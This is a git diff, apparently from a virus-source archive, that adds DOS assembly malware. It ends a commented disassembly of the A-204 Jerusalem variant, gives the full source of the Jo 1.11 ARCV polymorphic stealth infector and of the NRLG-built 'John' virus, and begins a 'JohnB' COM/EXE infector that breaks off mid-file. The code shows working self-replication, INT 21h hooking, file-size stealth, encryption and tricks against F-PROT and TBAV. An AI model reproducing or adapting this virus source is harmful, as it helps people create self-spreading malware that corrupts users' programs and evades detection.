It will return + ; AX=0300h then. +07B4 B4 DD MOV AH,0DD +07B6 BF 00 01 MOV DI,0100 ; DI=0100h +07B9 BE 10 07 MOV SI,0710 ; SI=0710h +07BC 03 F7 ADD SI,DI ; SI=0810h +07BE 2E 8B 8D 11 00 CS MOV CX,W[DI+011]; CX=Length of file +07C3 CD 21 INT 021 + +07C5 8C C8 MOV AX,CS ; AX=CS +07C7 05 10 00 ADD AX,010 ; AX=AX+10h +07CA 8E D0 MOV SS,AX ; SS=CS+10h +07CC BC 00 07 MOV SP,0700 ; SP=0700h +07CF 50 PUSH AX ; Store AX +07D0 B8 C5 00 MOV AX,0C5 ; AX=00C5h +07D3 50 PUSH AX ; Store AX +07D4 CB RETF ; RETURN from FAR + +07D5 FC CLD ; Clear Direct + + ; Here the A-204 variant + ; differs from the original + ; Jerusalem Version B virus + ; for the second time. +07D6 2E 8C 06 31 00 CS MOV W[031],ES ; These two lines have +07DB 06 PUSH ES ; been changed in order + ; trying to avoid being + ; detected by the finger- + ; print in the VirScan.Dat + ; file. It has not succeeded + ; because the strain VirScan + ; searches for appears two + ; times in the viruscode + +07DC 2E 8C 06 39 00 CS MOV W[039],ES ; Store ES +07E1 2E 8C 06 3D 00 CS MOV W[03D],ES ; Store ES +07E6 2E 8C 06 41 00 CS MOV W[041],ES ; Store ES + +07EB 8C C0 MOV AX,ES ; AX=ES +07ED 05 10 00 ADD AX,010 ; AX=AX+10h +07F0 2E 01 06 49 00 CS ADD W[049],AX ; Store ES+10h +07F5 2E 01 06 45 00 CS ADD W[045],AX ; Store ES+10h + +07FA B4 E0 MOV AH,0E0 ; AH=E0h +07FC CD 21 INT 021 ; + +07FE 80 FC E0 CMP AH,0E0 ; AH>=E0? +0801 73 13 JAE 0816 ; Yes: -> 0816h + ; This will never happen. + ; First of all it would be + ; a short jump into the + ; original program. Secondly + ; is the virus already active + ; in memory and will return + ; AX=0300h at the INT 21h call + ; with AH=E0h +0803 80 FC 03 CMP AH,3 ; AH=03h +0806 07 POP ES ; Restore ES +0807 2E 8E 16 45 00 CS MOV SS,W[045] ; Restore ES+10 into SS +080C 2E 8B 26 43 90 CS MOV SP,W[09043] ; + +0810 90 NOP ; Start ofOriginal Program +0811 90 NOP +0812 90 NOP +0813 90 NOP +0814 90 NOP +0815 90 NOP +0816 90 NOP +0817 90 NOP +0818 90 NOP +0819 90 NOP +081A 90 NOP +081B 90 NOP +081C 90 NOP +081D 90 NOP +081E 90 NOP +081F 90 NOP +0820 90 NOP +0821 90 NOP +0822 90 NOP +0823 90 NOP +0824 90 NOP +0825 90 NOP +0826 90 NOP +0827 90 NOP +0828 90 NOP +0829 90 NOP +082A 90 NOP +082B 90 NOP +082C 90 NOP +082D 90 NOP +082E 90 NOP +082F C3 RET ; End of Original Program + +0830 2D 32 30 34 2A ; -204* + +NOTE: A-204 is a course-code for IAP (Inleiding Apparatuur en Programmatuur, +in English a Prologue in Hardware and Software) at my university. In this +course the PDP-11 Language is being teached. It's my opion, and my opion only, +that this change has been made by a first year student. The IAP-course is +a course for first years students. Only some lines were changed in order to +avoid detection. If the 'author' did know more about the 8086, (s?)he could +have optimized the code. Some pieces can be done much more elegant. \ No newline at end of file diff --git a/j/JO1_11.ASM b/j/JO1_11.ASM new file mode 100755 index 0000000..b96db35 --- /dev/null +++ b/j/JO1_11.ASM @@ -0,0 +1,429 @@ + NAME Jo + PAGE 55,132 + TITLE Jo Virus. + +; +; This is Yet another virus from the ARCV, this one is called +; Joanna, it was written by Apache Warrior, ARCV President. +; +; It has Stealth features, it is a Resident infector of .COM files +; and uses the Cybertech Mutation Engine (TM) by Apache Warrior for +; its Polymorphic features. There is a maximum of 3 unchanged bytes +; in the Encrypted code. +; + +.model tiny + +code segment + + ASSUME CS:CODE,DS:CODE,ES:CODE + +int_21ofs equ 84h +int_21seg equ 86h +length equ offset handle-offset main +msglen equ offset oldstart-offset msg +tsrlen equ (offset findat-offset main)/10 +len equ offset handle-offset main +virlen equ (offset string-offset main2)/2 +decryptlen equ offset main2-offset main + + org 100h + +start: jmp main + db 0,0,0 + +main: mov si,offset main2 ; SI offset for decrypt + mov cx,virlen ; viri decrypt size +loop_1: + db 2eh,81h,2ch ; decrypt +switch: dw 0 + add si,02h + dec cx + jnz loop_1 +main2: call findoff ; find file ofset +findoff: pop si ; + sub si,offset findoff + push ds + push es + push cs + pop ds + push cs + pop es + mov ax,0ff05h ; Test for Scythe2 Boot + int 13h + cmp ah,0e9h ; Check for Scythe2 Boot + jnz haha ; no go on + mov ah,09h ; Display message + lea dx,[si+offset msg2] + int 21h + jmp $ ; Crash the machine +haha: mov ah,2ah ; Date Test + int 21h ; + cmp dx,1210h ; Is month the Oct. + jnz main3 ; no go on + mov ah,09h ; Display Message + lea dx,[si+offset msg] + int 21h + + +main3: mov di,0100h ; move old programs + push si ; start back to the start + mov ax,offset oldstart ; + add si,ax ; + mov cx,05h ; + cld ; + repz movsb ; + +inst: mov ax,0ffa4h ; check to see if already instaled + int 21h + pop si ; bring back si + cmp ax,42a1h + je oldprog ; Yes return to old program + +tt2: xor ax,ax ; Residency Routine + push ax + mov ax,ds ; Get MCB segment Address + dec ax ; + mov es,ax ; Put MCB segment Address in es + pop ds ; + mov ax,word ptr ds:int_21ofs ; Load Int 21h address data + mov cx,word ptr ds:int_21seg ; + mov word ptr cs:[si+int21],ax ; Move Int 21h data to store + mov word ptr cs:[si+int21+2],cx ; + cmp byte ptr es:[0],5ah ; Check for Start of MCB + jne oldprog ; If no then quit + mov ax,es:[3] ; Play with MCB to get top of + sub ax,0bch ; Memory and reserve 3,008 bytes + jb oldprog ; for Virus + mov es:[3],ax ; + sub word ptr es:[12h],0bch ; + mov es,es:[12h] ; + push ds ; + push cs ; + pop ds ; Move Virus into Memory + mov di,0100h ; space allocated above + mov cx,len+5 ; + push si ; + add si,0100h ; + rep movsb ; + pop si + pop ds + cli ; Stop Interrupts Very Inportant + mov ax,offset new21 ; Load New Int 21h handler + mov word ptr ds:int_21ofs,ax ; address and store + mov word ptr ds:int_21seg,es ; + sti ; + +oldprog: + mov di,0100h ; Return to Orginal + pop es ; Program.. + pop ds ; + push di ; + ret ; + +int21 dd 0h ; Storage For Int 21h Address + +; +; New interupt 21h Handler +; + +sayitis: mov ax,42a1h ; Install Check.. + iret + +new21: ;nop ; Sign byte + cmp ax,0ffa4h ; Instalation Check + je sayitis + cmp ah,11h ; FCB Search file + je adjust_FCB + cmp ah,12h ; FCB Search Again + je adjust_FCB + cmp ah,4eh ; Handle Search file + je adjust_FCB + cmp ah,4fh ; Handle Search Again + je adjust_FCB + cmp ah,3dh ; Are they opening a file? + je intgo ; if no ignore + cmp ah,4bh ; Exec Function + jne noint +intgo: push ax ; 4bh, 3dh Infect file + push bx ; Handler save the Registers + push cx + push es + push si + push di + push dx + push ds + call checkit ; Call infect routine + pop ds + pop dx + pop di + pop si + pop es + pop cx + pop bx + pop ax +noint: jmp cs:[int21] ; Return to Orginal Int 21h + +adjust_FCB: push es ; Stealth Routine + push bx + push si + push ax + xor si,si + and ah,40h ; Check for handle Search + jz okFCB + mov si,1 ; Set flag +okFCB: mov ah,2fh ; Get DTA Address + int 21h + pop ax ; Restore ax to orginal function + call i21 ; value call it + pushf ; save flags + push ax ; save ax error code + call adjust ; Call stealth adjust routine + pop ax ; restore registers + popf + pop si + pop bx + pop es + retf 2 ; Return to caller + +adjust: pushf ; Stealth check routine + cmp si,0 ; Check flag set earlyer + je fcb1 + popf + jc repurn ; Check for Handle Search error + mov ah,byte ptr es:[bx+16h] ; No error then carry on + and ah,01ah ; Check stealth stamp + cmp ah,01ah ; + jne repurn ; + sub word ptr es:[bx+1ah],len ; Infected then take the viri size +repurn: ret ; from file size. +fcb1: popf ; Same again but for the FCB + cmp al,0ffh + je meat_hook + cmp byte ptr es:[bx],0ffh + jne xx2 + add bx,7 +xx2: mov ah,byte ptr es:[bx+17h] + and ah,01ah + cmp ah,01ah + jne meat_hook + sub word ptr es:[bx+1dh],len +meat_hook: ret + +com_txt db 'COM',0 ; + +reset: ; File Attrib routines + mov cx,20h +set_back: + mov al,01h +find_att: + mov ah,43h ; Alter file attributes +i21: pushf + call cs:[int21] +exitsub: ret + +checkit: ; Infect routine + push es ; Save some more registers + push ds + push ds ; Check to see if file is a + pop es ; .COM file if not then + push dx ; quit.. + pop di ; + mov cx,0ffh ; Find '.' in File Name + mov al,'.' ; + repnz scasb ; + push cs ; + pop ds ; + mov si,offset com_txt ; Compare with COM extension + mov cx,3 ; + rep cmpsb ; + pop ds ; Restore Reg... + pop es ; + jnz exitsub ; + +foundtype: sub di,06h ; Check for commaND.com + cmp ds:[di],'DN' ; Quit if found.. + je exitsub ; + mov word ptr cs:[nameptr],dx ; Save DS:DX pointer for later + mov word ptr cs:[nameptr+2],ds ; + mov al,00h ; Find Attributes of file to infect + call find_att ; + jc exitsub ; Error Quit. + +alteratr: mov cs:[attrib],cx ; Save them + call reset ; Reset them to normal + + mov ax,3d02h ; Open file + call i21 + jc exitsub ; Error Quit + push cs ; Set DS to CS + pop ds ; + mov ds:[handle],ax ; Store handle + + mov ax,5700h ; Read file time and date + mov bx,ds:[handle] ; + call i21 ; +ke9: mov ds:[date],dx ; Save DX + or cx,1ah ; Set Stealth Stamp + mov ds:[time],cx ; Save CX + + mov ah,3fh ; Read in first 5 bytes + mov cx,05h ; To save them + mov dx,offset oldstart ; + call i21 ; +closeit: jc close2 ; Error Quit + + mov ax,4202h ; Move filepointer to end + mov cx,0ffffh ; -5 bytes offset from end + mov dx,0fffbh ; + call i21 ; + jc close ; Error Quit + + mov word ptr cs:si_val,ax ; Save File saize for later + cmp ax,0ea60h ; See if too big + jae close ; Yes then Quit + + mov ah,3fh ; Read in last 5 bytes + mov cx,05h ; + mov dx,offset tempmem ; + call i21 ; + jc close ; Error + + push cs ; Reset ES to CS + pop es ; + mov di,offset tempmem ; Check if Already infected + mov si,offset string ; + mov cx,5 ; + rep cmpsb ; + jz close ; Yes the Close and Quit + +zapfile: ; No Infect and Be Damned + mov ax,word ptr cs:si_val ; + add ax,2 ; + push cs ; + pop ds ; + mov word ptr ds:[jpover+1],ax ; Setup new jump + call mut_eng ; Call Mutation Engine + mov ah,40h ; Save prog to end of file + mov bx,cs:[handle] ; Load Handle + mov cx,length ; LENGTH OF PROGRAM**** + call i21 ; Write away +close2: jc close ; Quit if error + + push cs ; Reset DS to CS + pop ds ; + mov ax,4200h ; Move File pointer to start + xor cx,cx ; of file + cwd ; Clever way to XOR DX,DX + call i21 ; + jc close ; Error Quit.. + + mov ah,40h ; Save new start + mov cx,03h ; + mov dx,offset jpover ; + call i21 ; + +close: mov ax,5701h ; Restore Time and Date + mov bx,ds:[handle] ; + mov cx,ds:[time] ; + mov dx,ds:[date] ; + call i21 ; + mov ah,3eh ; Close file + call i21 ; +exit_sub: mov dx,word ptr [nameptr] ; Reset Attributes to as they where + mov cx,ds:[attrib] ; + mov ds,word ptr cs:[nameptr+2] ; + call set_back ; + ret ; Return to INT 21h Handler + + +; +; CyberTech Mutation Engine +; +; This is Version Two of the Mutation Engine +; Unlike others it is very much Virus Specific.. Works +; Best on Resident Viruses.. +; +; To Call +; +; si_val = File Size +; +; Returns +; DS:DX = Encrypted Virus Code, Use DS:DX pointer to +; Write From.. + + +mut_eng: + mov ah,2ch ; Get Time + call i21 ; + mov word ptr ds:[switch],dx ; Use Sec./100th counter as key + mov word ptr ds:[switch2+1],dx ; Save to Decrypt and Encrypt + mov ax,cs:[si_val] ; Get file size + mov dx,offset main2 ; + add ax,dx ; + mov word ptr [main+1],ax ; Store to Decrypt offset + xor byte ptr [loop_1+2],28h ; Toggle Add/Sub + xor byte ptr switch2,28h ; " + push cs ; Reset Segment Regs. + pop ds ; + push cs ; + pop ax ; Find Spare Segment + sub ax,0bch ; and put in es + mov es,ax ; + mov si,offset main ; Move Decrypt function + mov di,0100h ; + mov cx,decryptlen ; + rep movsb ; + mov si,offset main2 ; Start the code encrypt + mov cx,virlen ; +loop_10: lodsw ; +switch2: add ax,0000 ; + stosw ; + loop loop_10 ; + mov si,offset string ; move ID string to end + mov cx,5 ; new code + rep movsb ; + mov dx,0100h ; Set Registers to encrypted Virus + push es ; Location + pop ds ; + ret ; Return + +; Data Section, contains Messages etc. + + +; Little message to the Wife to Be.. + +msg db 'Looking Good Slimline Joanna.',0dh,0ah + db 'Made in England by Apache Warrior, ARCV Pres.',0dh,0ah,0ah + db 'Jo Ver. 1.11 (c) Apache Warrior 92.',0dh,0ah + db '$' + +msg2 db 'I Love You Joanna, Apache..',0dh,0ah,'$' + +virus_name db '[JO]',00h, ; Virus Name.. +author db 'By Apache Warrior, ARCV Pres.' ; Thats me.. +filler dd 0h + +oldstart: mov ax,4c00h ; Orginal program start + int 21h + nop + nop + +j100h dd 0100h ; Stores for jumps etc +jpover db 0e9h,00,00h ; + +string db '65fd3' ; ID String + +heap: ; This code is not saved +handle dw 0h +nameptr dd 0h +attrib dw 0h +date dw 0h +time dw 0h +tempmem db 10h dup (?) +findat db 0h +si_val dw 0h + +code ends + +end start diff --git a/j/JOHN.ASM b/j/JOHN.ASM new file mode 100755 index 0000000..419d782 --- /dev/null +++ b/j/JOHN.ASM @@ -0,0 +1,459 @@ +;Ŀ +; THiS iS a [NuKE] RaNDoMiC LiFe GeNeRaToR ViRuS. [NuKE] PoWeR +; CReaTeD iS a N.R.L.G. PRoGRaM V0.66 BeTa TeST VeRSioN [NuKE] WaReZ +; auToR: aLL [NuKE] MeMeBeRS [NuKE] PoWeR +; [NuKE] THe ReaL PoWeR! [NuKE] WaReZ +; NRLG WRiTTeR: AZRAEL (C) [NuKE] 1994 [NuKE] PoWeR +; + +.286 +code segment +assume cs:code,ds:code +org 100h + +start: CALL NEXT + +NEXT: + mov di,sp ;take the stack pointer location + mov bp,ss:[di] ;take the "DELTA HANDLE" for my virus + sub bp,offset next ;subtract the large code off this code + ; +;******************************************************************* +; #1 DECRYPT ROUTINE +;******************************************************************* + +cmp byte ptr cs:[crypt],0b9h ;is the first runnig? +je crypt2 ;yes! not decrypt +;---------------------------------------------------------- +mov cx,offset fin ;cx = large of virus +lea di,[offset crypt]+ bp ;di = first byte to decrypt +mov dx,1 ;dx = value for decrypt +;---------------------------------------------------------- +deci: ;deci = fuck label! +;---------------------------------------------------------- + +sub byte ptr [di],07dh +add byte ptr [di],0d5h +not byte ptr [di] +add byte ptr [di],035h +sub byte ptr [di],022h +not byte ptr [di] +add byte ptr [di],034h +add byte ptr [di],012h +inc byte ptr [di] +sub byte ptr [di],0e8h +add word ptr [di],08522h +xor byte ptr [di],058h +inc word ptr [di] +inc di +inc di +;---------------------------------------------------------- +jmp bye ;######## BYE BYE F-PROT ! ########## +mov ah,4ch +int 21h +bye: ;#### HEY FRIDRIK! IS ONLY A JMP!!### +;----------------------------------------------------------- +mov ah,0bh ;######### BYE BYE TBAV ! ########## +int 21h ;### (CANGE INT AT YOU PLEASURE) ### +;---------------------------------------------------------- +loop deci ;repeat please! + ; +;***************************************************************** +; #2 DECRYPT ROUTINE +;***************************************************************** + ; +crypt: ;fuck label! + ; +mov cx,offset fin ;cx = large of virus +lea di,[offset crypt2] + bp ;di = first byte to decrypt +;--------------------------------------------------------------- +deci2: ; +xor byte ptr cs:[di],1 ;decrytion rutine +inc di ;very simple... +loop deci2 ; +;--------------------------------------------------------------- +crypt2: ;fuck label! + ; +MOV AX,0CACAH ;call to my resident interrup mask +INT 21H ;for chek "I'm is residet?" +CMP Bh,0CAH ;is equal to CACA? +JE PUM2 ;yes! jump to runnig program +call action +;***************************************************************** +; NRLG FUNCTIONS (SELECTABLE) +;***************************************************************** + +;**************************************************************** +; PROCESS TO REMAIN RESIDENT +;**************************************************************** + +mov ax,3521h +int 21h ;store the int 21 vectors +mov word ptr [bp+int21],bx ;in cs:int21 +mov word ptr [bp+int21+2],es ; +;--------------------------------------------------------------- +push cs ; +pop ax ;ax = my actual segment +dec ax ;dec my segment for look my MCB +mov es,ax ; +mov bx,es:[3] ;read the #3 byte of my MCB =total used memory +;--------------------------------------------------------------- +push cs ; +pop es ; +sub bx,(offset fin - offset start + 15)/16 ;subtract the large of my virus +sub bx,17 + offset fin ;and 100H for the PSP total +mov ah,4ah ;used memory +int 21h ;put the new value to MCB +;--------------------------------------------------------------- +mov bx,(offset fin - offset start + 15)/16 + 16 + offset fin +mov ah,48h ; +int 21h ;request the memory to fuck DOS! +;--------------------------------------------------------------- +dec ax ;ax=new segment +mov es,ax ;ax-1= new segment MCB +mov byte ptr es:[1],8 ;put '8' in the segment +;-------------------------------------------------------------- +inc ax ; +mov es,ax ;es = new segment +lea si,[bp + offset start] ;si = start of virus +mov di,100h ;di = 100H (psp position) +mov cx,offset fin - start ;cx = lag of virus +push cs ; +pop ds ;ds = cs +cld ;mov the code +rep movsb ;ds:si >> es:di +;-------------------------------------------------------------- +mov dx,offset virus ;dx = new int21 handler +mov ax,2521h ; +push es ; +pop ds ; +int 21h ;set the vectors +;------------------------------------------------------------- +pum2: ; + ; +mov ah,byte ptr [cs:bp + real] ;restore the 3 +mov byte ptr cs:[100h],ah ;first bytes +mov ax,word ptr [cs:bp + real + 1] ; +mov word ptr cs:[101h],ax ; +;------------------------------------------------------------- +mov ax,100h ; +jmp ax ;jmp to execute + ; +;***************************************************************** +;* HANDLER FOR THE INT 21H +;***************************************************************** + ; +VIRUS: ; + ; +cmp ah,4bh ;is a 4b function? +je REPRODUCCION ;yes! jump to reproduce ! +cmp ah,11h +je dir +cmp ah,12h +je dir +dirsal: +cmp AX,0CACAH ;is ... a caca function? (resident chek) +jne a3 ;no! jump to a3 +mov bh,0cah ;yes! put ca in bh +a3: ; +JMP dword ptr CS:[INT21] ;jmp to original int 21h +ret ; +make db '[NuKE] N.R.L.G. AZRAEL' +dir: +jmp dir_s +;------------------------------------------------------------- +REPRODUCCION: ; + ; +pushf ;put the register +pusha ;in the stack +push si ; +push di ; +push bp ; +push es ; +push ds ; +;------------------------------------------------------------- +push cs ; +pop ds ; +mov ax,3524H ;get the dos error control +int 21h ;interupt +mov word ptr error,es ;and put in cs:error +mov word ptr error+2,bx ; +mov ax,2524H ;change the dos error control +mov dx,offset all ;for my "trap mask" +int 21h ; +;------------------------------------------------------------- +pop ds ; +pop es ;restore the registers +pop bp ; +pop di ; +pop si ; +popa ; +popf ; +;------------------------------------------------------------- +pushf ;put the registers +pusha ; +push si ;HEY! AZRAEL IS CRAZY? +push di ;PUSH, POP, PUSH, POP +push bp ;PLEEEEEAAAAAASEEEEEEEEE +push es ;PURIFY THIS SHIT! +push ds ; +;------------------------------------------------------------- +mov ax,4300h ; +int 21h ;get the file +mov word ptr cs:[attrib],cx ;atributes +;------------------------------------------------------------- +mov ax,4301h ;le saco los atributos al +xor cx,cx ;file +int 21h ; +;------------------------------------------------------------- +mov ax,3d02h ;open the file +int 21h ;for read/write +mov bx,ax ;bx=handle +;------------------------------------------------------------- +mov ax,5700h ; +int 21h ;get the file date +mov word ptr cs:[hora],cx ;put the hour +mov word ptr cs:[dia],dx ;put the day +and cx,word ptr cs:[fecha] ;calculate the seconds +cmp cx,word ptr cs:[fecha] ;is ecual to 58? (DEDICATE TO N-POX) +jne seguir ;yes! the file is infected! +jmp cerrar ; +;------------------------------------------------------------ +seguir: ; +mov ax,4202h ;move the pointer to end +call movedor ;of the file +;------------------------------------------------------------ +push cs ; +pop ds ; +sub ax,3 ;calculate the +mov word ptr [cs:largo],ax ;jmp long +;------------------------------------------------------------- +mov ax,04200h ;move the pointer to +call movedor ;start of file +;---------------------------------------------------------- +push cs ; +pop ds ;read the 3 first bytes +mov ah,3fh ; +mov cx,3 ; +lea dx,[cs:real] ;put the bytes in cs:[real] +int 21h ; +;---------------------------------------------------------- +cmp word ptr cs:[real],05a4dh ;the 2 first bytes = 'MZ' ? +jne er1 ;yes! is a EXE... fuckkk! +;---------------------------------------------------------- +jmp cerrar +er1: +;---------------------------------------------------------- +mov ax,4200h ;move the pointer +call movedor ;to start fo file +;---------------------------------------------------------- +push cs ; +pop ds ; +mov ah,40h ; +mov cx,1 ;write the JMP +lea dx,[cs:jump] ;instruccion in the +int 21h ;fist byte of the file +;---------------------------------------------------------- +mov ah,40h ;write the value of jmp +mov cx,2 ;in the file +lea dx,[cs:largo] ; +int 21h ; +;---------------------------------------------------------- +mov ax,04202h ;move the pointer to +call movedor ;end of file +;---------------------------------------------------------- +push cs ; +pop ds ;move the code +push cs ;of my virus +pop es ;to cs:end+50 +cld ;for encrypt +mov si,100h ; +mov di,offset fin + 50 ; +mov cx,offset fin - 100h ; +rep movsb ; +;---------------------------------------------------------- +mov cx,offset fin +mov di,offset fin + 50 + (offset crypt2 - offset start) ;virus +enc: ; +xor byte ptr cs:[di],1 ;encrypt the virus +inc di ;code +loop enc ; +;--------------------------------------------------------- +mov cx,offset fin +mov di,offset fin + 50 + (offset crypt - offset start) ;virus +mov dx,1 +enc2: ; + +dec word ptr [di] +xor byte ptr [di],058h +sub word ptr [di],08522h +add byte ptr [di],0e8h +dec byte ptr [di] +sub byte ptr [di],012h +sub byte ptr [di],034h +not byte ptr [di] +add byte ptr [di],022h +sub byte ptr [di],035h +not byte ptr [di] +sub byte ptr [di],0d5h +add byte ptr [di],07dh +inc di +inc di ;the virus code +loop enc2 ; +;-------------------------------------------- +mov ah,40h ; +mov cx,offset fin - offset start ;copy the virus +mov dx,offset fin + 50 ;to end of file +int 21h ; +;---------------------------------------------------------- +cerrar: ; + ;restore the +mov ax,5701h ;date and time +mov cx,word ptr cs:[hora] ;file +mov dx,word ptr cs:[dia] ; +or cx,word ptr cs:[fecha] ;and mark the seconds +int 21h ; +;---------------------------------------------------------- +mov ah,3eh ; +int 21h ;close the file +;---------------------------------------------------------- +pop ds ; +pop es ;restore the +pop bp ;registers +pop di ; +pop si ; +popa ; +popf ; +;---------------------------------------------------------- +pusha ; + ; +mov ax,4301h ;restores the atributes +mov cx,word ptr cs:[attrib] ;of the file +int 21h ; + ; +popa ; +;---------------------------------------------------------- +pushf ; +pusha ; 8-( = f-prot +push si ; +push di ; 8-( = tbav +push bp ; +push es ; 8-) = I'm +push ds ; +;---------------------------------------------------------- +mov ax,2524H ; +lea bx,error ;restore the +mov ds,bx ;errors handler +lea bx,error+2 ; +int 21h ; +;---------------------------------------------------------- +pop ds ; +pop es ; +pop bp ;restore the +pop di ;resgisters +pop si ; +popa ; +popf ; +;---------------------------------------------------------- +JMP A3 ;jmp to orig. INT 21 + ; +;********************************************************** +; SUBRUTINES AREA +;********************************************************** + ; +movedor: ; + ; +xor cx,cx ;use to move file pointer +xor dx,dx ; +int 21h ; +ret ; +;---------------------------------------------------------- +all: ; + ; +XOR AL,AL ;use to set +iret ;error flag + +;*********************************************************** +; DATA AREA +;*********************************************************** +largo dw ? +jump db 0e9h +real db 0cdh,20h,0 +hora dw ? +dia dw ? +attrib dw ? +int21 dd ? +error dd ? + +;--------------------------------- +action: ;Call label +MOV AH,2AH ; +INT 21H ;get date +CMP Dl,byte ptr cs:[action_dia+bp] ;is equal to my day? +JE cont ;nop! fuck ret +cmp byte ptr cs:[action_dia+bp],32 ; +jne no_day ; +cont: ; +cmp dh,byte ptr cs:[action_mes+bp] ;is equal to my month? +je set ; +cmp byte ptr cs:[action_mes+bp],13 ; +jne NO_DAY ;nop! fuck ret +set: ; +mov AH,9 ;yeah!! +MOV DX,OFFSET PAO ;print my text! +INT 21H ;now! +INT 20H ;an finsh te program +NO_DAY: ;label to incorrect date +ret ;return from call +;--------------------------------- + + +PAO: +DB 10,13,'you are infected with john virus ver 1.0a','$' + +;***************************************************** +dir_s: + pushf + push cs + call a3 ;Get file Stats + test al,al ;Good FCB? + jnz no_good ;nope + push ax + push bx + push es + mov ah,51h ;Is this Undocmented? huh... + int 21h + mov es,bx + cmp bx,es:[16h] + jnz not_infected + mov bx,dx + mov al,[bx] + push ax + mov ah,2fh ;Get file DTA + int 21h + pop ax + inc al + jnz fcb_okay + add bx,7h +fcb_okay: mov ax,es:[bx+17h] + and ax,1fh ;UnMask Seconds Field + xor al,byte ptr cs:fechad + jnz not_infected + and byte ptr es:[bx+17h],0e0h + sub es:[bx+1dh],OFFSET FIN - OFFSET START ;Yes minus virus size + sbb es:[bx+1fh],ax +not_infected:pop es + pop bx + pop ax +no_good: iret +;******************************************************************** +; THIS DIR STEALTH METOD IS EXTRAC FROM NUKEK INFO JOURNAL 4 & N-POX +;********************************************************************* + +action_dia Db 08H ;day for the action +action_mes Db 04H ;month for the action +FECHA DW 01eH ;Secon for mark +FECHAd Db 01eH ;Secon for mark dir st +fin: +code ends +end start diff --git a/j/JOHNB.ASM b/j/JOHNB.ASM new file mode 100755 index 0000000..282fbde --- /dev/null +++ b/j/JOHNB.ASM @@ -0,0 +1,484 @@ +;****************************************************************** +;* * +;* My First Virus, a simple non-overwriting COM and EXE * +;* infector. * +;* by, Joshua * +;* * +;****************************************************************** + +ID = 'SS' ; My ID + + .model tiny ; Memory model + .code ; Start Code + org 100h ; Start of COM file + +MAIN: db 0e9h,00h,00h ; Jmp START_VIRUS + +START proc near + +DECRYPT: mov bx,offset START_VIRUS ; Find out our offset + mov cx,(END_VIRUS-START_VIRUS)/2 +DECRYPT_LOOP: db 2eh,81h,37h ; XOR [BX],xxxx +KEY dw 0 ; Crypt KEY + add bx,2 ; Increment offset + dec cx ; Decrement counter + jnz DECRYPT_LOOP ; Continue until done + +START_VIRUS: + call FIND_OFFSET ; Real start of virus + +; Calculate change in offset from host program. + +FIND_OFFSET: pop bp ; BP holds current IP + sub bp, offset FIND_OFFSET ; Calculate net change + ; Change BP to start of + ; virus code + +; Capture INT 24h Critical error handler. + + push es ; Save ES + mov ax,3524h ; DOS get interupt vector + int 21h ; Call DOS to do it + mov word ptr [bp+OLDINT24],bx ; Save old INT 24h + mov word ptr [bp+OLDINT24+2],es ; vector + mov ah,25h ; DOS set interupt vector + lea dx,[bp+NEWINT24] ; Address of new interupt + int 21h ; Call DOS to do it + pop es ; Restore ES + +; Find out what kind of program I am, COM or EXE, by checking stack pointer. +; This is where I store my ID in an EXE infection. + + cmp sp,ID ; COM or EXE? + je RESTORE_EXE ; I am an EXE file + +; Restore original bytes to the COM program. + +RESTORE_COM: lea si,[bp+COM_START] ; Restore original 3 bytes + mov di,100h ; to 100h, start of file + push di ; Jmp to 100h when done + movsw ; Copy 3 bytes + movsb + jmp short RESTORE_DONE + +; Restore original bytes to the EXE program. + +RESTORE_EXE: push ds ; Save original DS + push es ; Save original ES + push cs ; Set DS = CS + pop ds + push cs ; Set ES = CS + pop es + lea si,[bp+JMPSAVE] ; Copy original CS:IP and + lea di,[bp+JMPSAVE2] ; SS:SP for return + movsw ; Copy 8 bytes + movsw + movsw + movsw + +; Change the DTA from the default so FINDFIRST/FINDNEXT won't destroy +; original command line parameters. + +RESTORE_DONE: lea dx,[bp+DTA] ; Point to new DTA area + mov ah,1ah ; DOS set DTA + int 21h ; Call DOS to do it + +; Save original directory. + + mov ah,47h ; DOS get current directory + lea si,[bp+ORIG_DIR] ; Store it here + mov dl,0 ; Current drive + int 21h ; Call DOS to do it + +; Search for a file to infect. + +SEARCH: lea dx,[bp+EXE_MASK] ; Search for any EXE file + call FINDFIRST ; Begin search + lea dx,[bp+COM_MASK] ; Search for any COM file + call FINDFIRST ; Begin search + + mov ah,3bh ; DOS change directory + lea dx,[bp+DOTDOT] ; Go up one direcotry + int 21h ; Call DOS to do it + jnc SEARCH ; Go look for more files + +; Restore default DTA, original directory, and pass control back to +; original program. + +QUIT: mov ah,3bh ; DOS change directory + lea dx,[bp+ORIG_DIR-1] ; Point to original directory + int 21h ; Call DOS to do it + push ds ; Save DS + mov ax,2524h ; DOS set interupt vector + lds dx,[bp+OLDINT24] ; Restore INT 24h + int 21h ; Call DOS to do it + pop ds ; Restore DS + mov ah,1ah ; DOS set DTA + mov dx,80h ; Restore original DTA + cmp sp,ID-4 ; EXE or COM? ES,DS on stack + jz QUIT_EXE ; Pass control to host EXE + +QUIT_COM: int 21h ; Call DOS to set DTA + retn ; Remember, 100h was on stack + +QUIT_EXE: pop es ; Restore original ES + pop ds ; Restore original DS + int 21h ; Call DOS to set DTA + mov ax,es ; AX = begin of PSP segment + add ax,16 ; Add size of PSP to get CS + add word ptr cs:[bp+JMPSAVE2+2],ax ; Restore IP + add ax,word ptr cs:[bp+STACKSAVE2+2] ; Calculate SS + cli ; Clear interrupts + mov sp,word ptr cs:[bp+STACKSAVE2] ; Restore SP + mov ss,ax ; Restore SS + sti ; Set interrupts + db 0eah ; Jump SSSS:OOOO + +JMPSAVE2 dd ? ; CS:IP for EXE return +STACKSAVE2 dd ? ; SS:SP for EXE return +JMPSAVE dd ? ; Original EXE CS:IP +STACKSAVE dd ? ; Original EXE SS:SP + +CREATOR db '[Joshua]' ; That's me! + +; DOS Findfirst / Findnext services + +FINDFIRST: mov ah,4eh ; DOS find first service + mov cx,7 ; Choose files w/ any attribute +FINDNEXT: int 21h ; Call DOS to do it + jc END_SEARCH ; Quit if there are errors + ; or no more files + +; Ok, if I am here, then I found a possible victim. First open the file +; for read only. + + mov al,0 ; DOS Open file, read only + call OPEN ; Open the file + +; Read in the beginning bytes to check for previous infection and then close. + + mov ah,3fh ; DOS Read file + lea dx,[bp+BUFFER] ; Save the original header + mov cx,24 ; Read 24 bytes + int 21h ; Call DOS to do it + mov ah,3eh ; DOS close file + int 21h ; Call DOS to do it + +; Check if the file is an EXE. + +CHECK_EXE: cmp word ptr [bp+BUFFER],'ZM' ; Is it an EXE? + jne CHECK_COM ; Nope, see if it's a COM + cmp word ptr [bp+BUFFER+16],ID; Is it already infected? + je ANOTHER ; Yep, so try another + jmp short INFECT_EXE ; We got one! Go 